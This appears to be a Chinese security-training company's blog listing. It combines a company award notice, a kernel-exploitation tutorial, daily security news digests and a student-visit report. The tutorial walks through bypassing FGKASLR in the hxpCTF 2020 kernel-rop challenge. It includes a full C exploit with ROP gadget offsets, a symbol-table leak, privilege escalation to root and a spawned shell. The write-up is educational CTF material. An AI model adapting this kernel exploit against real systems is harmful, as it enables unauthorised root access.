行业认可 | 蚁景科技入选《嘶吼2023网络安全产业图谱》
2023年7月10日,嘶吼安全产业研究院联合国家网络安全产业园区(通州园)正式发布《嘶吼2023网络安全产业图谱》。《嘶吼2023网络安全产业图谱》调研成功收录417家网络安全企业,分为七大类别,共涉及121个细分领域。
蚁景科技作为可靠的网络安全人才培养服务提供商,成功入选该图谱“攻防对抗与演练”类别下的“演练保障”细分领域和“安全培训”类别下的“技术人才培训 ”细分领域。
01.攻防对抗与演练
02.安全培训
本次入选《嘶吼2023网络安全产业图谱》,是网安行业权威研究机构对蚁景科技企业实力和品牌影响力的高度认可。
未来,蚁景科技将继续坚持优化人才培养、技术创新和产业发展的良性生态。这意味着公司将致力于培养更多的网络安全专业人才,推动技术的创新和应用,并为网络安全能力的全面提升贡献力量。
湖南蚁景科技有限公司作为国内领先的“网络安全人才培养服务提供商”,为配合国家网络安全人才培养战略,以市场需求为导向,以能力提升为目标,从高校科研、教学实训及企事业单位实际需求出发,基于对“互联网+教育”的深刻理解,通过自主研发的“网络安全人才实训靶场”,为高校、政企单位、科研院所等行业客户提供满足在线实验教学的虚拟实验环境与各种课件资源,同时为广大网安爱好者提供技能培训、人才推荐等服务。实现网安人才技能学习积累、综合技能运用以及考核评估三大目标。
Kernel-Pwn-FGKASLR保护绕过
FGKASLR
FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。
layout_randomized_image
在https://github.com/kaccardi/linux/blob/fg-kaslr/arch/x86/boot/compressed/fgkaslr.c文件中存在着随机化的明细。
/*
linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
...
shnum = ehdr->e_shnum; //获取节区的数量
shstrndx = ehdr->e_shstrndx; //获取字符串的索引
...
/* we are going to need to allocate space for the section headers */
sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部
if (!sechdrs)
error("Failed to allocate space for shdrs");
sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容
if (!sections)
error("Failed to allocate space for section pointers");
memcpy(sechdrs, output + ehdr->e_shoff,
sizeof(*sechdrs) * shnum); //拷贝头部数据
/* we need to allocate space for the section string table */
s = &sechdrs[shstrndx]; //获取节区名
secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称
if (!secstrings)
error("Failed to allocate space for shstr");
memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称
/*
* now we need to walk through the section headers and collect the
* sizes of the .text sections to be randomized.
*/
for (i = 0; i < shnum; i++) { //遍历节区,选择需要重定位的节区
s = &sechdrs[i];
sname = secstrings + s->sh_name;
if (s->sh_type == SHT_SYMTAB) { //遇到符号节区跳过
/* only one symtab per image */
if (symtab)
error("Unexpected duplicate symtab");
symtab = malloc(s->sh_size);
if (!symtab)
error("Failed to allocate space for symtab");
memcpy(symtab, output + s->sh_offset, s->sh_size);
num_syms = s->sh_size / sizeof(*symtab);
continue;
}
...
if (!strcmp(sname, ".text")) { //第一个.text的节区直接跳过
if (text)
error("Unexpected duplicate .text section");
text = s;
continue;
}
if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的节区也直接跳过
/* get start addr for later */
percpu = s;
continue;
}
if (!(s->sh_flags & SHF_ALLOC) ||
!(s->sh_flags & SHF_EXECINSTR) ||
!(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化
continue;
sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化
num_sections++;
}
sections[num_sections] = NULL;
sections_size = num_sections;
...
}
通过上述代码分析可知
符号节区不进行细粒度的地址随机化
第一个.text节是不会进行细粒度的地址随机化
需要同时具备SHF_ALLOC与SHF_EXECINSTR标志位,并且节区的前缀为.text才会被选择进行细粒度的地址随机化
可以看到layout_randomized_image函数还是会保持原有的节区偏移,但是会在内存中寻找另一个空间进行存储,这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移,想要做到任意内核函数的调用,就需要找到调用函数所处的节区的基地址,使得利用更加复杂化了。
FGKASLR保护的绕过
想要绕过FGKASLR,我们可以挑选不受影响的节区中的gadget进行ROP链的构造。
首先是不存在SHF_ALLOC与SHF_EXECINSTR标志位的节区
其次是.text的节区,可以看到该节区存在0x200000的大小,因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可选的gadget还是比较充足的。
上述的节区都是不受FGKASLR保护的影响,只需要泄露出内核程序的基地址,就可以按照绕过KASLR的思路进行漏洞的利用。
想要在内核态完成提权返回到用户态,我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq
因此先来看commit_creds与prepare_kernel_cred函数是否符合要求,可以看到commit_creds函数的地址为0xffffffff814c6410,prepare_kernel_cred函数的地址为0xffffffff814c67f0都是超过.text的节区空间了(这里我是关闭了KASLR的)。
可以多运行几次环境,查看这个两个函数的地址,会发现末尾地址的偏移会一直在变化。(开启了KASLR)
cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
第一次
第二次
可以看到第一次运行与第二次运行的地址是完全不一样的,但是处于不进行细粒度的节区ksymtab,只有中间的九个比特位(KASLR)发生了改变,其余部分是一致的。这也是KASLR与FGKASLR的区别。但是实际的利用又需要用到这两个函数,因此还是需要特殊的手法泄露出这两个函数的实际地址。(1)能够泄露这两个函数现有的基地址(2)通过符号表进行地址读取。
这里采用(2)的手法进行函数地址的泄露,ksymtab节存放着内核函数的符号表,使用下述结构体进行维护。
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
value_offset:内核符号的值的偏移
name_offset:内核符号的名称的偏移
namespace_offset:内核符号所属的命名空间的名称在内存中的偏移量或地址。
因此value_offset正是我们所关注的,这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds为例,ksymtab_commit_creds的地址值为0xffffffffa8587d90,该地址存储的值为0xffa17ef0,计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,结果刚好是commit_creds函数的地址值,这里说明一下为什么需要用(2^32 - 0xffa17ef0),因为value_offset是int类型,而0xffa17ef0是负数,因此需要
那么利用上述的方法就可以求出commit_creds与prepare_kernel_cred函数的地址。
那么接着看如何获取swapgs与iretq指令的地址,之前在介绍如何绕过kpti时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode,里面除了能够通过cr3转换页表,里面还具备swapgs和iretq指令。在内核中搜索一下这个函数的地址,可以发现它处于.text节区的范围内,因此这个地址可以直接拿来用。
因此绕过FGKASLR的方法就出来了,首先是泄露内核程序基地址,通过该基地址获得__ksymtab_commit_creds与__ksymtab_prepare_kernel_cred的地址,通过上述两个符号获取实际的commit_creds与prepare_kernel_cred函数的地址,最后通过swapgs_restore_regs_and_return_to_usermode函数返回用户态。
hxpCTF 2020 kernel-rop
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s
这里还是使用 hxpCTF 2020的内核题作为例子
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
之前提到过了程序存在栈溢出的漏洞,并且允许我们读取内核栈上的数据,通过读取内核栈上的数据可以泄露出canary的值以及程序的基地址,这里需要特别注意的是,当开启了FGKASLR时,不是所有的地址都可以用来计算基地址的,只能找在.text范围内的地址,否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157的地址作为泄露地址。
那么在泄露了canary和地址之后就可以利用栈溢出完成提权返回用户态了,在之前的用户态下的利用,我们可以借助write或者是puts函数去读取地址中的内容,但是在内核态的利用则不需要这么麻烦了,例如可以先将__ksymtab_commit_creds地址赋值给rax寄存器,接着通过mov rax,[rax]; ret的指令完成对指定地址完成读取操作。这里我使用的gadget为
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
首先利用pop rax; ret指令,将__ksymtab_commit_creds函数的地址赋值给rax寄存器,接着使用mov rax, qword ptr [rax];函数将__ksymtab_commit_creds地址的内容读取到rax寄存器中,那么接下来就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函数先暂时返回到用户态,接着采用内联汇编,进行值的提取。这里需要注意的是需要将ROP链与内联汇编分隔开,否则rax寄存器可能会被编译器优化掉,即会有清空rax寄存器的操作。并且所有找的gadget都必须是不会进行细粒
...
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x\n", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx\n", commit_creds);
jmp_leak_prepare_kernel_cred();
}
...
在调用为prepare_kernel_cred后需要将rax寄存器的值传递给rdi寄存器中,因为需要作为commit_creds函数的参数。但是在.text中找了很久都没有合适的gadget,那么还是同样采用内联汇编,将rax寄存器的值读取出,再传递给commit_creds函数即可。这里又需要特别注意,最好不要使用太多的全局变量存储,否则会覆盖一开始保存的user_cs,user_rflags,user_sp,user_ss的变量值。因此在payload中我特定将这几个变量初始化的特定的值,使得这几个变量存储在.data段防止被其它的值覆盖。
因此针对FGKASLR保护的绕过,实际是利用FGKASLR特点,只在特定的区域中选取适合的gadget,从而将FGKASLR弱化为KASLR,进而继续利用。
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff81006370: pop rdi; ret; -- [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/
//iretq RIP|CS|RFLAGS|SP|SS
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;
unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;
int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;
void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x\n", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx\n", commit_creds);
jmp_leak_prepare_kernel_cred();
}
void jmp_leak_prepare_kernel_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_prepare_kernel_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_prepare_kernel_cred()
{
__asm(
".intel_syntax noprefix;"
"mov prepare_kernel_cred_offset, rax;"
".att_syntax;"
);
printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset);
prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred);
printf("jmp get cred\n");
jmp_get_cred();
}
void jmp_get_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)get_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void get_cred()
{
__asm(
".intel_syntax noprefix;"
"mov cred, rax;"
".att_syntax;"
);
printf("cred:0x%lx\n", cred);
jmp_back_door();
}
void jmp_back_door()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = cred; //cred
payload[index++] = commit_creds; // commit_creds
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
int main()
{
save_state();
fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 40 * 8);
for(int i = 0; i < 40; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
canary = buf[2];
unsigned long leak_addr = buf[38];
printf("leak addr:0x%lx\n", leak_addr);
image_base = leak_addr - 0xa157;
printf("ImageBase:0x%lx\n", image_base);
start();
}
网络安全日报 2023年07月10日
1、攻击者通过钓鱼邮件传播NetSupport恶意软件
https://asec.ahnlab.com/en/55146/ 研究人员发现,攻击者正在利用伪装成发票、装运单据和采购订单的钓鱼邮件传播NetSupport RAT。攻击者利用钓鱼邮件诱导用户打开恶意附件,其中包含一个恶意JavaScript脚本。该JS脚本经过混淆处理,执行后与尝试与3个合法网站进行连接以检测用户的网络状态,随后从C2地址中获取PowerShell脚本。该PowerShell脚本用于下载执行NetSupport RAT,并通过注册表实现开机自启动。
2、Truebot新变种利用Netwrix Auditor中的RCE漏洞进行攻击
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-187a CISA和FBI发布警告称,Truebot出现新变种,这些新变种利用Netwrix Auditor软件中的远程代码执行(RCE)漏洞,针对美国和加拿大的组织机构发起攻击。该漏洞被标记为CVE-2022-31199,影响Netwrix Auditor服务器及安装在网络系统上的代理,攻击者能够利用SYSTEM用户的权限执行恶意代码。在受害网络中植入Truebot后,攻击者进而植入FlawedGrace远控木马,以此建立持久性。在首次入侵的数小时后,攻击者还部署了
3、IT Army黑客组织声称对俄罗斯铁路网站进行攻击
https://therecord.media/russian-railway-site-taken-down-by-ukrainian-hackers 俄罗斯国有铁路公司(RZD)表示,由于大规模的网络攻击,其网站和移动应用程序关闭了几个小时,迫使乘客只能在火车站线下购票。乌克兰黑客组织IT Army声称对此次攻击事件负责,并表示“即使网站只关闭了一个小时,它依旧会对该国的经济产生重大影响。”俄罗斯铁路网站系统至少瘫痪了六个小时,该公司于5日晚些时候表示网站已恢复运营,但由于仍在持续受到网络攻击,一些在线服务仍然无法使用。
4、MOVEit Transfer修复新的安全漏洞
https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-July-2023 MOVEit Transfer近期发布安全更新,以修复新发现的安全漏洞。两个SQL注入漏洞分别被标记为CVE-2023-36934、CVE-2023-36932,影响多个版本的产品,未经身份验证的攻击者能够利用漏洞访问MOVEit Transfer数据库。第三个漏洞被标记为CVE-2023-36933,是一个高危漏洞,攻击者能够利用该漏洞使程序意外终止。MOVEit Transfer已发布安全更新,并建议其客户尽快升级。
5、Big Head勒索软件伪装成Windows更新程序进行传播
https://www.trendmicro.com/en_us/research/23/g/tailing-big-head-ransomware-variants-tactics-and-impact.html 研究人员近期发现Big Head勒索软件样本,并发现它们是通过伪装成Windows更新程序或Word安装程序进行传播的。Big Head勒索软件是一个使用.NET编写的程序,执行后在受害主机中释放三个经过AES加密的文件:1.exe用于对文件进行加密并释放勒索信;archive.exe用于进行Telegram bot通信,受害者利用该程序与攻击者进行沟通;Xarch.exe用于显
6、研究人员在PiiGAB产品中发现多种安全漏洞
https://www.securityweek.com/vulnerabilities-in-piigab-product-could-expose-industrial-organizations-to-attacks PiiGAB是一家总部位于瑞典的公司,提供工业和楼宇自动化硬件和软件解决方案。研究人员在该公司的M-Bus 900转换器中发现了多种类型的安全漏洞,涉及代码注入、登录尝试率限制、硬编码和明文凭据、弱密码、跨站点脚本(XSS)和跨站点请求伪造(CSRF)漏洞。攻击者能够利用这些漏洞执行任意代码、发起暴力破解攻击、获取系统访问权限、提升权限以及诱导用户执行恶意命令。该公司已针
7、与伊朗有关的 APT TA453 针对 Windows 和 macOS 系统
https://securityaffairs.com/148275/apt/ta453-malware-windows-macos.html 与伊朗有关的 APT 组织跟踪的 TA453 已与针对 Windows 和 macOS 系统的新恶意软件活动相关联。
8、Progress 警告客户 MOVEit Transfer 软件存在新的严重漏洞
https://securityaffairs.com/148252/security/moveit-transfer-critical-flaw.html Progress 发布了针对影响其 MOVEit Transfer 软件的新的严重 SQL 注入漏洞的安全补丁。目前正在向客户通报其 MOVEit Transfer 中存在一个新的严重 SQL 注入漏洞(编号为 CVE-2023-36934)。
9、Mastodon 社交网络修补了允许服务器接管的严重漏洞
https://thehackernews.com/2023/07/mastodon-social-network-patches.html Mastodon 是一个流行的去中心化社交网络,它发布了一个安全更新,以修复可能使数百万用户面临潜在攻击的关键漏洞。
10、孟加拉国政府网站泄露数百万公民数据
https://securityaffairs.com/148264/data-breach/bangladesh-government-website-data-leak.html 一名研究人员最近发现孟加拉国政府网站泄露了公民的个人数据。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月07日
1、SolarView系列产品受到多个安全漏洞的影响
https://www.vulncheck.com/blog/solarview-exploitation 研究人员称,SolarView产品中的CVE-2022-29303漏洞可被利用,攻击者可能利用该漏洞针对能源机构进行攻击。CVE-2022-29303是一个未经身份验证的远程命令执行漏洞,自2023年3月以来,就有研究人员观察到Mirai僵尸网络新变种利用该漏洞进行传播。使用Shodan对615个暴露在互联网上的SolarView扫描后,研究人员发现仍有425个产品易受攻击,这表明只有不到三分之一的SolarView系列产品针对该漏洞进行了安全更新。此外,研究人员表示SolarView
2、研究人员发现伪装成美国邮政的网络钓鱼活动
https://www.malwarebytes.com/blog/threat-intelligence/2023/07/malicious-ad-for-usps-phishes-for-jpmorgan-chase-credentials 研究人员发现一起伪装成美国邮政(USPS)的网络钓鱼活动。在Google中搜索关键词“usps tracking”就能够发现相关钓鱼推广,该恶意推广显示美国邮政局的官方网站链接及图标,但是其背后的广告商与美国邮政没有任何关系。点击该恶意推广的用户会跳转至一个钓鱼网站,该网站要求输入订单号,在提交订单号后该网站会返回“由于信息不完整,您的包裹无法送达”
3、Anonymous Sudan组织声称对Riot Games发起DDoS攻击
https://thecyberexpress.com/anonymous-sudan-claims-to-target-riot-games/ Riot Games是一家美国视频游戏开发商及发行商,Anonymous Sudan组织声称对该公司发起了分布式拒绝服务(DDoS)攻击。该组织在Telegram中发表帖子称此次攻击持续了30至60分钟,但研究人员经过初步调查后发现Riot Games网站未出现异常,仍在正常运营。相关威胁情报部门没有证实此次攻击的真实性,Riot Games也尚未对此次攻击事件发表声明。
4、TeamsPhisher 工具利用 Microsoft Teams 部署恶意软件
https://cyware.com/news/teamsphisher-tool-exploits-microsoft-teams-to-deploy-malware-325a6034 GitHub 上提供的新工具可以使攻击者滥用 Microsoft Teams 中最近披露的漏洞,并自动将恶意文件传送到用户系统。
5、Crysis 勒索团伙使用 RDP 连接分发 Venus 勒索软件
https://cyware.com/news/crysis-threat-actors-use-rdp-connections-to-distribute-venus-ransomware-bddeda1e ASEC 最近发现 Crysis 勒索软件攻击者正在通过暴力或字典攻击扫描互联网,寻找易受攻击的 RDP 端点,以便在系统上安装 Venus 勒索软件。
6、思科警告其Nexus 9000系列交换机存在可破坏加密流量的漏洞
https://www.bleepingcomputer.com/news/security/cisco-warns-of-bug-that-lets-attackers-break-traffic-encryption/ 思科今天警告客户,一个高严重性漏洞会影响某些数据中心交换机型号,并允许攻击者篡改加密流量。该漏洞的编号为 CVE-2023-20185,是在数据中心 Cisco Nexus 9000 系列交换矩阵交换机的 ACI 多站点 CloudSec 加密功能的内部安全测试过程中发现的。
7、Android 7月安全更新补丁修复了 3个被广泛利用的漏洞
https://www.securityweek.com/android-security-updates-patches-3-exploited-vulnerabilities/ Google 的 2023 年 7 月 Android 安全更新修复了 43 个漏洞,其中三个漏洞被广泛利用。
8、壳牌确认与 MOVEit 漏洞相关的勒索攻击和数据泄露事件
https://www.securityweek.com/shell-confirms-moveit-related-breach-after-ransomware-group-leaks-data/ 壳牌确认,在 Cl0p 勒索软件组织泄露了据称从该能源巨头窃取的数据后,员工个人信息已被盗。能源巨头壳牌公司证实,由于最近的 MOVEit Transfer 黑客攻击,属于员工的个人信息已被泄露。
9、JumpCloud 称现有API 密钥均已失效,以保护客户及其运营
https://www.securityweek.com/jumpcloud-says-all-api-keys-invalidated-to-protect-customers/ 设备、身份和访问管理解决方案提供商 JumpCloud 已重置客户 API 密钥,以应对“持续发生的事件”。JumpCloud 尚未分享任何信息,但发送给客户的通知表明它正在处理安全事件。该公司表示,现有的 API 密钥已失效,以保护客户的“组织和运营”。
10、一个新的Linux内核提权漏洞-StackRot,可用于提权
https://securityaffairs.com/148231/security/stackrot-linux-kernel-privilege-escalation-bug.html StackRot 是 Linux 内核中的新安全漏洞,可被利用来获得目标系统上的提升权限。一个名为StackRot的安全漏洞 被发现影响 Linux 版本 6.1 到 6.4。该问题编号为CVE-2023-3269(CVSS 评分:7.8),是内存管理子系统中的权限提升问题。无特权的本地用户可以触发该缺陷来危害内核并提升权限。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技承办中南大学学生认知实习活动
为加强网络空间安全人才队伍建设,深化产学研合作,提高高校学生岗位认知,2023年7月5日,蚁景科技为中南大学计算机学院的70余名学生组织了认知实习活动。这次活动为同学们提供了深入了解网络安全领域和行业发展的机会。
中南大学的同学们跟随公司人员参观了蚁景科技有限公司,了解蚁景科技的业务领域、技术创新和发展规划情况。蚁景科技副总经理皮开元代表公司为同学们带来了一场精彩的专题分享,重点介绍了网络安全行业各个细分领域的业务内容和代表企业;解读了当前网络安全人才市场的需求状况,以及金融、通信、互联网等行业网安类岗位对网安人才技能的具体要求。
中南大学的同学们跟随公司人员参观了蚁景科技有限公司,了解蚁景科技的业务领域、技术创新和发展规划情况。蚁景科技副总经理皮开元代表公司为同学们带来了一场精彩的专题分享,重点介绍了网络安全行业各个细分领域的业务内容和代表企业;解读了当前网络安全人才市场的需求状况,以及金融、通信、互联网等行业网安类岗位对网安人才技能的具体要求。
网络安全日报 2023年07月06日
1、Ghostscript中的漏洞可能允许恶意文档执行系统命令
https://nakedsecurity.sophos.com/2023/07/04/ghostscript-bug-could-allow-rogue-documents-to-run-system-commands/ Ghostscript是Adobe公司PostScript文档组合系统及PDF文件格式的免费开源实现,它读取PostScript程序代码,该代码描述了如何在文档中构建页面,并将其转换为更适合显示或打印的格式。目前Ghostscript的最新版本为10.01.2,在此版本之前的产品中存在一个安全漏洞,被标记为CVE-2023-36664。经过构造的恶意文档不仅能够利用该漏洞
2、ARx Patient Solutions证实其数据泄露
https://cybernews.com/privacy/us-healthcare-breach-child-patient-data/ ARx Patient Solutions是一家总部位于堪萨斯州的医疗保健提供商,该公司表示在2022年遭受了一次网络攻击,并可能导致4万多人的个人信息泄露,其中包括儿童患者的姓名、处方信息、保险账号、医生姓名等细节,并可能暴露了社会保障号码。该公司于7月日将调查结果通知了缅因州总检察长办公室,据司法部长称,目前确认有526名缅因州居民受到此次事件的影响,但潜在的受害者总数达到41166人。目前还没有证据表明这些数据遭到滥用。
3、Firefox 115 修复高危UAF漏洞
https://www.securityweek.com/firefox-115-patches-high-severity-use-after-free-vulnerabilities/ Mozilla 已向稳定频道发布了 Firefox 115,其中包含两个高严重性UAF漏洞的补丁。
4、RedEnergy Stealer 勒索软件针对能源和电信行业
https://thehackernews.com/2023/07/redenergy-stealer-as-ransomware-threat.html 人们通过 LinkedIn 页面发现了一种名为RedEnergy的复杂窃取勒索软件威胁,其目标是巴西和菲律宾的能源公用事业、石油、天然气、电信和机械行业。
5、瑞典数据保护局警告公司不要使用 Google Analytics
https://thehackernews.com/2023/07/swedish-data-protection-authority-warns.html 继去年奥地利、法国和意大利采取类似行动后,瑞典数据保护监管机构警告企业不要使用谷歌分析,因为美国政府的监控带来风险。
6、日本最大港口名古屋港遭遇勒索软件攻击
https://securityaffairs.com/148184/cyber-crime/port-of-nagoya-ransomware-attack.html 日本最大的港口名古屋港遭受勒索软件攻击,其运营受到严重影响。
7、研究报告显示无文件或基于内存的攻击增加了 1400%
https://www.ithome.com/0/703/564.htm Nautilus 研究发现,与 2022 年报告相比,无文件(fileless)或基于内存的攻击增加了 1400%,主要利用现有软件、应用或者协议中的漏洞,在云端系统中执行恶意活动,超过 50% 的攻击集中在绕过防御机制上。
8、 俄罗斯卫星电信证实遭到黑客攻击
https://cybernews.com/cyber-war/russian-satellite-telecom-confirms-hacker-attack/ 俄罗斯国防部和安全部门使用的俄罗斯卫星通信提供商 Dozor-Teleport 证实,黑客入侵了其系统。
9、美国海军首设网络战兵种,推动网络作战能力专精化
https://www.secrss.com/articles/56282 美国海军为水兵们制定了全新的网络战兵种,希望藉此加强培训,打造一支专业的网络作战力量。
10、今年 33 家美国医院遭受勒索软件攻击
https://www.infosecurity-magazine.com/news/thirtythree-us-hospitals/ 根据 Emsisoft 的数据,至少 19 家遭受勒索软件攻击的医疗保健提供商经营着 33 家医院,而这 19 家医院中至少有 16 家的数据被泄露。去年,68% 的案例发生了数据泄露。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
浅谈 JEP290
0x01 前言
属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。
一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI
8u121 ~ 8u230 打不了 RMI
